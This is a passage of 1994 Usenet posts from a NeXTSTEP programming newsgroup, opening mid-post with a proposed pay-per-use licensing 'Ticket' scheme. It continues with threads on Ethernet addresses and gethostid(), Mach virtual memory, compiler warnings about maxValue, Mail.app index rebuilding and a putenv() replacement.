vendor [I] will create the new Ticket (using a simple application or even script) that I call the 'TicketDistributor' and email (or send on floppy disk) it to the user. The TicketDistributor will have a simple database where to store all the informations about the users, as user name, machine identification number, application name, Tickets amount. Second advantage: the application will not have a fixed retail price, but every user will pay depending on the use (and dilated in time, like a licence). The user will call the application and, using a panel defined for this purpose, drag the Ticket into a waiting cell. The panel will inform the user about how many steps are now available in the application, adding the new Ticket amount of steps with the old one stored in the application. The application will inform the user when the amount of available steps is lower then a 'guard-level number' defined with preferences. How to implement this method ? Some considerations... 1) the application must know how many steps are available. When the application is delivered, this value is zero, to avoid that simply reinstalling the application will permit to continue to work. This value could be saved into a file in some encrypted way, or (maybe better) using adb(1) -w. Problem: the user can discover where this information is stored comparing the files before and after the dragging procedure: so he can save the interested file and replace it more times... 2) the application cannot use the Ticket itself to store the information about the available amount of steps, for a simple reason: the user can copy the Ticket before to use it and try to use it more times. Any solution like change the Ticket content or even destroy it will be avoided with a simple copy of the original Ticket. 3) the Ticket will be a small protected file (encrypted in some way) containing at least this informations: - the machine identification number. - a Ticket number starting with zero(=the first, free) for every user. - the amount of steps to add. - some static bytes to test if the file is really a good Ticket file. - some casual bytes to give trouble to the most curious. 4) the application must not accept a Ticket more then once. Knowed that the Ticket cannot be changed after use (no sense if the user has a copy of the original Ticket) the only way I guess is that the application must be able to identify an old Ticket saving, as well as the availables steps, the last Ticket number. When a Ticket is dragged in the application, its number must be greater and will be saved. Problem: the user can also discover where this information is stored and try to change it. 5) the TicketDistributor could be used to create Ticket for differents applications, changing the 'static bytes' section in the Ticket. The TicketDistributor could even be distributed to some retailer (but with a single database): anyway, this is not my problem now. Thats all! What do you think about this? Now the questions: 1) how to store how many steps are available in the application ? 2) how to store the last Ticket number ? 3) how to avoid to use a copy of the file that contains this stored infos? 4) how to build a Ticket using the TicketDistributor ? Please email me any opinion or suggestions you have. If necessary I will summarize. Thank you. Stefano -- Stefano Unternaehrer NeXTStep Software Developer Casa Manuela - 6598 Tenero Switzerland - Europe phone: +41 93 673 073 fax: +41 93 673 064 NeXTmail: stefano@galileo.pr.net.ch
From: lusty@lusty.tamu.edu (Lusty Wench) Newsgroups: comp.sys.next.programmer Subject: Re: getting local machine's ethernet address Date: 8 Jan 1994 15:00:19 GMT Organization: Me Message-ID: <2gmhq3$28q@news.tamu.edu> References: <9401062014.AA02128@giants.comnetix.com> <1994Jan7.144850.26154@bozell.com> <2gkrok$jig@usenet.rpi.edu> <1994Jan8.081758.24892@csus.edu> In article <1994Jan8.081758.24892@csus.edu>, Eric P. Scott <eps@cs.sfsu.edu> wrote: >You're asking a bad question. A *machine* doesn't have an >Ethernet address. Each *Ethernet interface* has an Ethernet >address. What you should be asking is, "what are the Ethernet >addresses (yes--addresses--plural) of the Ethernet interfaces >currently active on the local machine?" > >But first, one teeny-tiny question: > Why would anyone want to know this??? > > >Anyway, here's an quick-and-dirty example to show that it _is_ >possible. I haven't actually tested this on "White Hardware," >but NEXTSTEP is NEXTSTEP, right? > <150 lines of code deleted> Gee, and I just thought the answer to his question was to type grep Ethernet /usr/adm/messages I don't know why you wouldn't care about this number, but when I registered my machine to go on our local net they wanted this number. Perhaps none of us here at A&M can approach the awesome wisdom of the great EPS. We are just Aggies, after all. Lusty
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Decompressing Help.store Message-ID: <1994Jan8.153712.281@stone.com> Keywords: brute force cybernetics Sender: andrew@stone.com Organization: Stone Design Corp References: <2gkg5b$1b9@darkstar.UCSC.EDU> Date: Sat, 8 Jan 1994 15:37:12 GMT In article <2gkg5b$1b9@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > A client has had a file system disaster and has lost all of his recent > Help directory changes (he has a backup, but not recent enough). He does > have a built app containing a complete Help.store file. compresshelp > doesn't seem to be documented and its usage message doesn't mention an > "uncompresshelp" option. I couldn't find anything in Indexing kit that > looked promising, but I'm not really familiar with Indexing kit. > Is there some way to uncompress a Help.store and reconstitute the files > used to create the Help.store? > -- There is a brute force method: use the NXHelpPanel itself! The only catch is that you need to know the name of each of the files: displayText = find the object in the NXHelpPanel which displays the rtfd for each filename [helpPanel showFile:path atMarker:NULL]; displayText writeRTFDTo: a stream save this stream to the filename What a bummer for you client, good luck! andrew -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Removing images from a nib? Date: 8 Jan 1994 22:08:42 -0000 Organization: me organized? That's a joke! Message-ID: <2gnata$1rb@steffi.demon.co.uk> Are you now allowed to remove an Image from a nib in IB (3.2)? -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: HELP: Multiple Declarations of maxValue in Slider.h Message-ID: <1994Jan8.233639.473@afs.com> Sender: greg@afs.com References: <2git7oINNi1k@srvr1.engin.umich.edu> Distribution: usa Date: Sat, 8 Jan 1994 23:36:39 GMT In article <2git7oINNi1k@srvr1.engin.umich.edu> wjabi@libra.arch.umich.edu (Wassim M. Jabi) writes: > I have a subclass of View (NodeView). The IB has a slider in it. > In one of NodeView's methods I retrieve the maxValue of the > slider as in: > > id xSlider; > double xMaxValue; > xMaxValue = [xSlider maxValue]; > > When I compile it says: > NodeView.m:36: warning: multiple declarations for method `maxValue' > /NextDeveloper/Headers/appkit/Slider.h:20: warning: using > `-(double)maxValue' > /NextDeveloper/Headers/soundkit/SoundMeter.h:57: warning: also found > `-(float)maxValue' > > What is that all about? I don't even use any SoundMeter stuff!!??!!? > I don't even have a method called minValue or maxValue in my code. I am > just messaging the Slider's method. Actually, you've run into a NeXT-induced problem. When you #include appkit.h, you get all the kits glommed into one. At some point in the past, two different programmers at NeXT got the idea to call a method 'maxValue'. Unfortunately, the return types differ, so you will get this warning every single time you compile a program that uses this method. There is no way to work around this message unless you dump appkit.h in favor of just the needed #include files. Given how much faster the compiler runs with appkit.p, I don't recommend that. This drives me nuts because I don't consider software solid if you're still getting warnings, but I've learned to live with it. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Are structs evil for MAB typedstreams? Message-ID: <1994Jan8.234503.642@afs.com> Sender: greg@afs.com References: <1994Jan6.163017.282@afs.com> Date: Sat, 8 Jan 1994 23:45:03 GMT In article <1994Jan6.163017.282@afs.com> I wrote: > Assume a Tab is a simple two-part struct: > > typedef struct _Tab { > short type; > NXCoord value; > } Tab; > > and you have malloced spac to hold an array of 4 Tabs. "tabs" is a pointer > to that space. With that background, this function in a write: method > > NXWriteTypes(stream, "[4{sf}]", tabs); > > reads back in correctly on the original HW architecture, but not on the > other flavor. Is that right? I don't remember this being documented as a > limitation on HW-portable typedstreams. (To clarify that last paragraph, I didn't mean that it only works on black hardware; I meant that the resulting stream is only compatible with the architecture that created the file.) The winning answer came from Ted Slupesky, who wrote: Sounds like you may have an alignment problem; on black hardware, it's ok for an NXCoord to come on a short boundary, but on white hardware, there'll be two extra bytes of padding between the short and the NXCoord. I believe, however, since these are NXTypedStreams, if you wrote the values out individually (rather than as a struct), then the Typed Stream mechanism will do The Right Thing. So here's the BIG RED LABEL, WARNING: LARK'S VOMIT! ONLY SIMPLE TYPES ARE GUARANTEED HARDWARE-INDEPENDENT IN TYPEDSTREAMS! DO NOT USE ENCODED STRUCTS AND ARRAYS UNLESS YOU ARE CERTAIN THERE WILL BE NO BYTE ALIGNMENT PROBLEMS WHEN BULK STORAGE GETS WRITTEN OFF A SINGLE POINTER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! The NeXT release notes don't mention this problem. Remember it, or see your programs die on multiple architectures. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Newsgroups: comp.sys.next.programmer From: orwant@work.media.mit.edu (Jon Orwant) Subject: Mail.app: regenerating table_of_contents Message-ID: <1994Jan9.010731.20098@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Sun, 9 Jan 1994 01:07:31 GMT I've got a good Active.mbox/mbox and a corrupted table_of_contents. Is there an easy way to regenerate the table_of_contents? Otherwise, I'm going to have to write a program to parse mbox and then resend all of my mail back to me, complete with forged fields. There's gotta be a better way. Jon Orwant (who never should have tried reading a NeXT mailbox with /usr/ucb/mail...)
From: lusty@lusty.tamu.edu (Lusty Wench) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2gmhq3$28q@news.tamu.edu> Control: cancel <2gmhq3$28q@news.tamu.edu> Date: 9 Jan 1994 01:36:42 GMT Organization: Texas A&M University, College Station, TX Message-ID: <2gnn3a$qd1@news.tamu.edu> <2gmhq3$28q@news.tamu.edu> was cancelled from within trn.
Newsgroups: comp.sys.next.programmer From: flash!jon@dsi.com Subject: The old "balancing seal" demo... Message-ID: <CJC81A.HK6@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? Date: Sun, 9 Jan 1994 00:58:21 GMT Unless my memory's going, I seem to remember an old NeXT demo app in which a seal balanced a stick. I think the seal was supposed to learn how to balance it (using a neural net, perhaps.) It was back in 2.x days, back when NeXT really gave good demo. a) If it's not too big, could someone mail it to me? (Email first, please, to say you will). b) Is there any way to get source for it? Thanks, Jon Hendry -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: lusty@lusty.tamu.edu (Lusty Wench) Newsgroups: comp.sys.next.programmer Subject: Re: getting local machine's ethernet address Date: 9 Jan 1994 01:45:17 GMT Organization: Me Message-ID: <2gnnjd$r5h@news.tamu.edu> References: <9401062014.AA02128@giants.comnetix.com> <1994Jan7.144850.26154@bozell.com> <2gkrok$jig@usenet.rpi.edu> <1994Jan8.081758.24892@csus.edu> In article <1994Jan8.081758.24892@csus.edu>, Eric P. Scott <eps@cs.sfsu.edu> wrote: >You're asking a bad question. A *machine* doesn't have an >Ethernet address. Each *Ethernet interface* has an Ethernet >address. What you should be asking is, "what are the Ethernet >addresses (yes--addresses--plural) of the Ethernet interfaces >currently active on the local machine?" > >But first, one teeny-tiny question: > Why would anyone want to know this??? To anybody who cares: I posted an obviously uninformed response to this post that I have now canceled. If you nevertheless see the canceled version please ignore it. Lusty who will read the whole thread next time
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2gnm94$eu@steffi.demon.co.uk> Control: cancel <2gnm94$eu@steffi.demon.co.uk> Date: 9 Jan 1994 02:12:24 -0000 Organization: me organized? That's a joke! Message-ID: <2gnp69$10m@steffi.demon.co.uk> <2gnm94$eu@steffi.demon.co.uk> was cancelled from within trn. -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
Newsgroups: comp.sys.next.programmer From: Robert_La_Ferla@hot.com Subject: Re: getting local machine's ethernet address Message-ID: <1994Jan8.231235.4009@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2gkrok$jig@usenet.rpi.edu> Date: Sat, 8 Jan 1994 23:12:35 GMT So, why doesn't gethostid() work or does it? Robert La Ferla Hot Technologies In article <2gkrok$jig@usenet.rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > jmartin@Dallas.Bozell.com (Jeff Martin) writes: > > ajetha@giants.comnetix.com (Alykhan Jetha) writes: > > > I'm trying to get the localhost's ethernet address programmatically > > > on NS/FIP. I realize... [skipping] > > > I also realize that one could parse it out of the /usr/adm/messages > > > file, however, I don't particularly like that scenario. > > > > I don't know how to do this either, but here is a simple way to get it > > using grep (I'm sure it could be made much easier and more robust with > > sed): > > Do not have any application depend on the contents of /usr/adm/messages. > That file gets rotated, so if the machine is up long enough none of the > boot-up messages will be in that file. How you scan the file is not > important, the result will not be robust. > > I'm afraid I don't know the correct answer to your question, but the > answer is certainly not going to involve scanning the messages file. > That is the wrong answer to almost every question that starts out > "I'm trying to programatically..." > > -- > Garance Alistair Drosehn = gad@eclipse.its.rpi.edu > ITS Systems Programmer (handles NeXT-type mail) > Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.programmer From: david@prim.demon.co.uk (David George) Subject: Re: Writing a Mach Pager Message-ID: <1994Jan8.142718.2707@prim.demon.co.uk> Organization: KCS Ltd. References: <2gilaf$4u0@ursula.ee.pdx.edu> <1994Jan8.000425.2621@talus.com> Date: Sat, 8 Jan 1994 14:27:18 GMT In article <1994Jan8.000425.2621@talus.com> sam@talus.com writes: >In article <2gilaf$4u0@ursula.ee.pdx.edu> marcus@ursula.ee.pdx.edu (Marcus >Daniels) writes: >| Ok, the memory_* functions are missing with NEXTSTEP, and >| external pagers aren't supported. What about vm_map? I don't see >| the (mig) _Xvm server interface function in the kernel, but there are lots of >| vm_map* functions. >| vm_allocate is presumably just a convience interface to >| vm_map in `real mach'. Might there be a relatively easy way to setup >| an equivalent function to vm_map? >| >| Marcus Daniels I don't think so, although vm_map and vm_allocate both do a vm_map_enter at their hearts, vm_map() is used for mapping a user supplied memory_object (hey, lets just call it an external pager) into the given task. If you don't have external pagers vm_map and vm_allocate both do the same thing, allocating memory backed by the external pager (anonymous memory). There is no need for the vm_map() interface, like NeXT. A task ====== { task } ... | v +---------------------------------------------+ { vm_map } v | ---> { vm_map_entry } --> { vm_map_entry } ... ---+ (0x1000, (0x3000, 0x2000 ) 0x10000) | | v v { vm_object } { vm_object } | | v v page_list page_list vm_allocate =========== vm_allocate(0x4000): { vm_map } ---> { vm_map_entry } --> { vm_map_entry } -> { vm_map_entry } (0x1000, (0x3000, (0x13000, 0x2000 ) 0x10000) 0x4000 ) | v { vm_object } memory_object -> NULL vm_map ====== vm_map(task_self(),mo=my_pager ,0x1000): { vm_map } ---> { vm_map_entry } --> { vm_map_entry } -> { vm_map_entry } (0x1000, (0x3000, (0x0x13000, 0x2000 ) 0x10000) 0x1000 ) | v { vm_object } mo -> pager >You can see whether function present in kernel or not by simple open it in >edit and making search for this function. You will find it more convienient and informative to use 'nm' to list symbol table information. >As far as I understood there's two levels of memory mapping layers in >NeXTSTEP kernel: the upper is represented by variuos vm_map_xxx functions >which present some mechanism for using of memory pages by other kernel >routines and drivers. An there's a low level represented by functions >pmap_xxx, which dealt together with Intel paging (tm) mechanism. > >NS/FIP kernel is heavily inclined to Intel processor architecture, especially >with 3.2, less and less remained there native stuff that came from Mach. At >last in inner paging part there's absolutely no mach messages and smth like >that. Er um nearly. If you check out Tevanian's doctoral paper you will see the mach vm architecture is split into two parts. A machine independent VM layer ( routines found in vm subdirectory if you have mach sources) and a machine dependent layer, also called the pmap (short for physical map layer). This layer presents a standard interface to the vm layer for a machine's particular memory management cicuitry. The pmap layer is as much a part of mach as the vm layer. To port to mach another architecture you simply (ha ha) have to write new device drivers and write a new pmap layer. I assume with NeXT's port of NeXTSTEP to Intel they simply took a standard mach intel pmap layer. This is still native mach. David KCS Ltd London, England BTW, David Griffiths of Primitive Software fame used the mach exception mechanism to duplicate some of the external pager functionality on NeXT mach. He protected a memory range (vm_protect()) then arranged to catch exceptions for access violations. He then 'paged' in memory from his exception handler. Might be what you want.
Newsgroups: comp.sys.next.programmer From: Jeff Adams Subject: Best method of changing ColorSpace and images Message-ID: <CJCIBH.KIA@wri.com> Keywords: colorspace, image Sender: news@wri.com ( ) Organization: Wolfram Research, Inc. Date: Sun, 9 Jan 1994 04:40:28 GMT Hello, I have an image which I would like to animate by not changing the actual pixel values of the image, but I would like to animate it by using an NX_CustomColorSpace and rotating the indecies of the colors in the Color Space, and then redisplaying the image. I can currently do this successfully by placing my data in an NXImageBitmapRep, and using the setcolorspace PostScript operator in a PSwrap to change the current ColorSpace, I can issue the -draw method of NXImageBitmapRep repeatedly, while cycling the ColorSpace to get the animation I want. However, this method is VERY slow. I would actually like to use this for a screen size image (not necessarily a 1000 something by 600 something image but none the less, an image (possibly 400 x 400 pixels) that would fill the screen. What I would like comments on is whether there is a way of using the image operator directly or some other caching methods to make this tight loop of 1) cycling the Color Space 2) redisplaying the image; as fast as possible. By changing the color space do I have to then expect the redisplaying of the image to be this slow ? Would it be faster to have the data as separate arrays of NXRects and use a set of calls to NXRectFillList, still using a cycling Color Space and using multiple setcolors directly? The image itself and its values (color indecies) would be static, all I want to do is cycle the color space. Is this an unreasonable thing to expect for a large image. Is there even another method entirely besides 1) cycling color space and image or 2) cycling color space and NXRectFillLists that might be faster ? I really do not want to generate all of the frames before hand and then display because there would be quite a number of frames in one cycle. I guess I'm looking for every and any NEXTSTEP PostScript speedup for images that is out there. Is there something more low level I could try? Sorry for all the questions, but any suggestions would be appreciated. Thanks. Jeff ---------------------------------------------------------------- Jeff Adams jeffa@wri.com (NeXTMail accepted) Wolfram Research Inc. Of course these are my own opinions! ----------------------------------------------------------------
From: blanford@spf.trw.com (Ronald P. Blanford) Newsgroups: comp.sys.next.programmer Subject: Re: HELP: Multiple Declarations of maxValue in Slider.h Date: 9 Jan 1994 05:07:49 GMT Organization: TRW Systems Development Division Distribution: usa Message-ID: <2go3f5$dkm@deneva.sdd.trw.com> References: <1994Jan8.233639.473@afs.com> Gregory H. Anderson writes > Actually, you've run into a NeXT-induced problem. When you #include > appkit.h, you get all the kits glommed into one. At some point in the > past, two different programmers at NeXT got the idea to call a method > 'maxValue'. Unfortunately, the return types differ, so you will get this > warning every single time you compile a program that uses this method. > There is no way to work around this message unless you dump appkit.h > in favor of just the needed #include files. Given how much faster the > compiler runs with appkit.p, I don't recommend that. This drives me nuts > because I don't consider software solid if you're still getting warnings, > but I've learned to live with it. > You don't have to live with it. Just use a cast to tell the compiler which one you mean. Instead of [mySlider maxValue]; which generates the warning, use [(Slider*)mySlider maxValue]; which doesn't. Or if you don't need to connect to it in InterfaceBuilder, declare mySlider to be of type Slider* rather than id. -- Ron blanford@spf.trw.com
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: HELP: Multiple Declarations of maxValue in Slider.h Message-ID: <1994Jan9.060731.24345@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2git7oINNi1k@srvr1.engin.umich.edu> <1994Jan8.233639.473@afs.com> Distribution: usa Date: Sun, 9 Jan 1994 06:07:31 GMT In article <1994Jan8.233639.473@afs.com> Greg_Anderson@afs.com writes: >>In article <2git7oINNi1k@srvr1.engin.umich.edu> wjabi@libra.arch.umich.edu >>(Wassim M. Jabi) writes: >>> I have a subclass of View (NodeView). The IB has a slider in it. >>> In one of NodeView's methods I retrieve the maxValue of the >>> slider as in: >>> >>> id xSlider; >>> double xMaxValue; >>> xMaxValue = [xSlider maxValue]; >>> >>> When I compile it says: >>> NodeView.m:36: warning: multiple declarations for method `maxValue' >>> /NextDeveloper/Headers/appkit/Slider.h:20: warning: using >>> `-(double)maxValue' >>> /NextDeveloper/Headers/soundkit/SoundMeter.h:57: warning: also found >>> `-(float)maxValue' >>> >>> What is that all about? I don't even use any SoundMeter stuff!!??!!? >>> I don't even have a method called minValue or maxValue in my code. I am >>> just messaging the Slider's method. >> >>Actually, you've run into a NeXT-induced problem. When you #include >>appkit.h, you get all the kits glommed into one. At some point in the >>past, two different programmers at NeXT got the idea to call a method >>'maxValue'. Unfortunately, the return types differ, so you will get this >>warning every single time you compile a program that uses this method. >>There is no way to work around this message unless you dump appkit.h Actually, in readying the beta version of my WavesWorld palettes, I've tried to get around an equivalent problem, with success. The problem is that both N3DShape and N3DCamera have a renderSelf: method, but unfortunately they take different type arguments. I have some objects that need to import both headers, and I was getting the same sort of warnings. To get around it, since at the time I was sending a message I knew if it was a subclass of N3DCamera or N3DShape, I just cast the id appropropriately. voila, the problem was gone. Mind you, this might not be the right solution in all cases, but if it's a subclass of (say) Control, it might be fair game, and gets rid of the annoying warning. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: HELP: Multiple Declarations of maxValue in Slider.h Message-ID: <1994Jan9.041925.3374@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <1994Jan8.233639.473@afs.com> Distribution: usa Date: Sun, 9 Jan 1994 04:19:25 GMT In article <1994Jan8.233639.473@afs.com> Greg_Anderson@afs.com (Gregory H. Anderson) writes: > In article <2git7oINNi1k@srvr1.engin.umich.edu> wjabi@libra.arch.umich.edu > (Wassim M. Jabi) writes: > > I have a subclass of View (NodeView). The IB has a slider in it. > > In one of NodeView's methods I retrieve the maxValue of the > > slider as in: > > > > id xSlider; > > double xMaxValue; > > xMaxValue = [xSlider maxValue]; > > > > When I compile it says: > > NodeView.m:36: warning: multiple declarations for method `maxValue' > > /NextDeveloper/Headers/appkit/Slider.h:20: warning: using > > `-(double)maxValue' > > /NextDeveloper/Headers/soundkit/SoundMeter.h:57: warning: also found > > `-(float)maxValue' > > > > What is that all about? I don't even use any SoundMeter stuff!!??!!? > > I don't even have a method called minValue or maxValue in my code. I am > > just messaging the Slider's method. > > Actually, you've run into a NeXT-induced problem. When you #include > appkit.h, you get all the kits glommed into one. At some point in the > past, two different programmers at NeXT got the idea to call a method > 'maxValue'. Unfortunately, the return types differ, so you will get this > warning every single time you compile a program that uses this method. > There is no way to work around this message unless you dump appkit.h > in favor of just the needed #include files. Given how much faster the > compiler runs with appkit.p, I don't recommend that. This drives me nuts > because I don't consider software solid if you're still getting warnings, > but I've learned to live with it. > Not me - I can't stand noise in a compile. Just cast the receiver and the compiler shuts up, as in: xMaxValue = [(Slider *)xSlider maxValue]; andrew -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Mail.app: regenerating table_of_contents Message-ID: <1994Jan9.091646.7065@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <1994Jan9.010731.20098@news.media.mit.edu> Date: Sun, 9 Jan 1994 09:16:46 GMT In article <1994Jan9.010731.20098@news.media.mit.edu> orwant@work.media.mit.edu (Jon Orwant) writes: > > I've got a good Active.mbox/mbox and a corrupted table_of_contents. > Is there an easy way to regenerate the table_of_contents? If you delete table_of_contents, Mail.app will rebuild it when you next open the mailbox. The net result will be that any deleted messages will reappear, and unread messages will be marked as read. Certainly a lot better than having to rebuild it yourself. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: fankhauser@uptime.ch (George Fankhauser) Newsgroups: comp.sys.next.programmer Subject: Re: Screen Fonts Date: 9 Jan 1994 14:45:57 +0100 Organization: Uptime Object Factory Inc, Zurich, Switzerland Message-ID: <2gp1ql$39a@california.uptime.ch> References: <1994Jan6.225436.15305@il.us.swissbank.com> not with objects as far as I know. If you send screenFont to an existing screenFont-object it returns self. but there is a record-selector called otherFont in each font-object which points to the 'other' font. that is it points to the outline-font if it is a screenfont and vice versa... George -- George Fankhauser Uptime Object Factory Inc Director Software Engineering Integrated NEXTSTEP Solutions fankhauser@uptime.ch (NeXTmail ok) Postfach, Baumackerstrasse 46 Phone +41-1-313 06 07, Fax +41-1-313 07 55 CH-8050 Zurich/Switzerland
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer Subject: Re: Help --- TimedEntry Date: 9 Jan 94 16:22:35 Organization: Thinking Machines Corporation Distribution: world Message-ID: <GBOL.94Jan9162235@custard.think.com> References: <1994Jan7.150600.26232@bozell.com> <2gkk99$fq6@agate.berkeley.edu> In-reply-to: izumi@pinoko.berkeley.edu's message of 7 Jan 1994 21:30:17 GMT I saw this post and it reminded me of a question I had awhile ago about having a function called whenever there were no events in the event queue much like XtAddWorkProc() under X11. Is there a similar function under NS? Right now I use a timed entry with a decent interval and check for events in the queue before calling the function I would really like called. This is not quite what I want though... gregory
From: robm@ncsa.uiuc.edu (Rob McCool) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher Subject: Re: Help with "undefined symbols"! Followup-To: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher Date: 10 Jan 1994 00:10:32 GMT Organization: NCSA Distribution: world Message-ID: <2gq6do$ck4@vixen.cso.uiuc.edu> References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu> John Franks (john@math.nwu.edu) wrote: : It is telling you that it can't find the function putenv in any library. : I would very much like to know about this too. Is there no putenv() : in NeXTStep? I know that NCSA httpd, uses putenv(), does it compile : under NeXTSTep? What do all you NeXT owners do when you need putenv()? Here's what I use on systems that don't have it available... #ifdef NEED_PUTENV void putenv(char *s) { extern char **environ; int i; char **oldenv; for(i=0;environ[i]!=NULL;i++) ; oldenv = environ; environ = (char **) malloc((i+2)*sizeof(char *)); if(i>0) memcpy(environ, oldenv, i*sizeof(char *)); environ[i] = s; environ[i+1] = NULL; } #endif -- Rob McCool, robm@ncsa.uiuc.edu Software Development Group, National Center for Supercomputing Applications It was working ten minutes ago, I swear... <A HREF="http://hoohoo.ncsa.uiuc.edu/~robm/sg.html">A must see.</A>
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: HELP: Multiple Declarations of maxValue in Slider.h Date: 10 Jan 1994 00:46:04 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2gq8gc$rmr@darkstar.UCSC.EDU> References: <2go3f5$dkm@deneva.sdd.trw.com> In article <2go3f5$dkm@deneva.sdd.trw.com> blanford@spf.trw.com (Ronald P. Blanford) writes: > Or if you don't need to connect to it in InterfaceBuilder, > declare mySlider to be of type Slider* rather than id. Or even if you do need to connect to it in IB, you can have your cake and eat it, too: @interface Foo:Bar { @private @protected #ifndef __STDC__ // __STDC__ is defined only during compilation. id mySlider; // IB will show the mySlider outlet. #else // __STDC__ Slider *mySlider; // But your code will use strong typing. #endif //__STDC__ @public } -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Method or function for helpers? Date: 10 Jan 1994 01:06:38 -0000 Organization: me organized? That's a joke! Message-ID: <2gq9mu$1q5@steffi.demon.co.uk> I think this has been discussed before but I'd like to raise it again. If your method is not going to be overriden. (Perhaps impossible to determine) do you ever use static C functions for your private helpers? Draw.app has used this for a while. But I'd be interested in knowing what most folks do, commercial or otherwise. There are just times where it pays (not necessarily thru efficiency) to think functionally. Rather than [self methodname:arg]. -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: getting local machine's ethernet address Message-ID: <1994Jan10.020822.975@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <2gkrok$jig@usenet.rpi.edu> <1994Jan8.231235.4009@hot.com> Date: Mon, 10 Jan 1994 02:08:22 GMT In article <1994Jan8.231235.4009@hot.com> Robert_La_Ferla@hot.com writes: >So, why doesn't gethostid() work or does it? Ethernet addresses are 48-bit quantities: +-----+-----+-----+-----+-----+-----+ | manufacturer id | unique number | +-----+-----+-----+-----+-----+-----+ On NeXT's "Black Hardware" the manufacturer id is always 00:00:0F. On other hardware, those bits can be just about anything. To display the association between IP addresses and Ethernet addresses on the local network: rusers -a [ to load the ARP cache ] /usr/etc/arp -a gethostid() returns the value of hostid, a 32-bit variable in the kernel's memory map. On "Black Hardware," hostid is initialized at boot time with a value whose 24 low-order bits are taken from the 24 low-order bits of the onboard Ethernet interface's hardware address. The hostid value can be subsequently changed without affecting the MAC Layer Address or the operation of any network software. On "White Hardware," hostid is ZERO. The intent of the hostid is to provide a unique value for each machine attached to a local area network. Its contents are irrelevant--they're merely expected to differ from those on the other machines. This is useful in certain distributed computing algorithms. Here's how my "8Bawl" application uses gethostid() when seeding a pseudo-random number generator: - appWillInit:sender { long now; (void)time(&now); srandom((int)now^(gethostid()&0xffffff)); return self; } This means that copies started simultaneously on different hosts (even with NTP-synchronized clocks!), will nevertheless generate different "random" sequences. [8Bawl is available for anonymous FTP from sutro.sfsu.edu as pub/8Bawl1.0.tar.Z; see <2ghflc$kk7@digifix.digifix.com> in comp.sys.next.announce.] Obsolete versions of the gethostid(2) man page erroneously suggested the hostid value could be used to implement "copy protection" schemes. Beginning with Software Release 3.1, NeXT started distributing a written retraction with NEXTSTEP Developer products. -=EPS=-
